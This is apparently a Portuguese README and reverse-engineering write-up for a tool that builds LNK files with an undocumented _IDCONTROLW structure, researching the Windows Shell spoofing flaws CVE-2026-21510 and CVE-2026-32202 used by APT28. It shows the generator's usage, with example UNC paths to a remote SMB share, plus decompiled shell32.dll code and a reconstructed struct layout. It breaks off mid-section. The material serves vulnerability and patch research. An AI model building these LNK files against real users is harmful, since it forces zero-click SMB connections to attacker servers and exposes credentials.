
Gera arquivos LNK com estruturas _IDCONTROLW elaboradas para pesquisar vulnerabilidades de spoofing do Windows Shell CVE-2026-21510 e CVE-2026-32202, incluindo engenharia reversa dos componentes internos da shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLW: Reconstruindo uma Estrutura Não Documentada da shell32.dllContexto de pesquisa: Análise de CVE-2026-21510 / CVE-2026-32202 (cadeia de exploração LNK do APT28).
Baseado em Akamai Security Research.
Objetivo: Reconstruir a estrutura interna_IDCONTROLWusada pelashell32.dllpara representar applets do Painel de Controle dentro de umLinkTargetIDList.
O APT28 explorou uma vulnerabilidade no Windows Shell (shell32.dll) criando um arquivo .lnk malicioso contendo um LinkTargetIDList com um caminho UNC embutido dentro de uma estrutura não documentada _IDCONTROLW. Isso fez com que o explorer.exe iniciasse uma conexão SMB para um servidor controlado pelo atacante sem interação do usuário (zero-click).
A estrutura _IDCONTROLW não é documentada no SDK público do Windows nem nos símbolos PDB públicos da Microsoft para shell32.dll. Este relatório documenta sua reconstrução por meio de análise estática no IDA Pro.
De acordo com MS-SHLLINK, o LinkTargetIDList contém um IDList padrão — um array de entradas ItemID de comprimento variável terminado por um nulo de 2 bytes.
Na exploração do APT28, o IDList contém exatamente três itens:
| Índice | Conteúdo |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — raiz do Painel de Controle |
IDList[1] | Item CControlPanelCategoryFolder — "Todos os Itens do Painel de Controle" (categoria 0) |
IDList[2] | _IDCONTROLW — entrada de applet CPL com caminho UNC embutido |
Isso resolve para o caminho virtual:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{entrada CPL}
Como _IDCONTROLW está ausente dos símbolos PDB públicos, a reconstrução foi realizada rastreando a cadeia de chamadas no IDA Pro a partir de CControlPanelFolder::GetUIObjectOf — a função responsável por renderizar itens do Painel de Controle no Explorer.
CControlPanelFolder::GetUIObjectOfQuando o Explorer renderiza uma pasta contendo o LNK malicioso, ele chama GetUIObjectOf para extrair um ícone para o item CPL. Isso aciona a seguinte cadeia:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW acionado aqui (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← detecta _IDCONTROLW
_IsUnicodeCPLWorker — validação da estruturaconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Isso revela o marcador Unicode no offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — acesso aos campos// Caminho Unicode lido do offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// Fallback ANSI lê do offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Isso confirma que o caminho Unicode (ModulePath) começa em +0x18.
_IDControlCreateW — construção da estruturaint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) em bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // tamanho total dos dados
v11 = ILCreate(v10 + 26); // alocação: dados + cabeçalho 0x1A
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings gravadas em +0x18
}
_IDCONTROLW Reconstruídastruct _IDCONTROLW {
WORD cb; // +0x00 tamanho da estrutura inteira (incluindo o próprio cb)
WORD pad1; // +0x02 preenchimento, sempre 0
DWORD dwAppletID; // +0x04 ID do applet (negativo para CPL registrado, ex.: -201 = 0xFFFFFF37)
WORD pad2; // +0x08 sempre 0 (verificado por _IsUnicodeCPLWorker)
WORD pad3; // +0x0A sempre 0 (verificado por _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C sempre 0 (verificado por _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — marcador de CPL Unicode
WORD pad5; // +0x0E preenchimento
DWORD pad6; // +0x10 preenchimento
WORD cchModule; // +0x14 comprimento de ModulePath em WCHARs (incluindo terminador nulo)
WORD offName; // +0x16 offset de Name a partir do início de data[] em WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Tamanho | Campo | Valor / Observações |
|---|---|---|---|
+0x00 | WORD | cb | Tamanho total da estrutura |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | ID do applet (ex.: 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validado por _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validado por _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validado por _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — marcador Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name segue imediatamente ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWA versão ANSI (_IDCONTROL) é criada por _IDControlCreateA e usa um layout diferente:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Diferenças principais: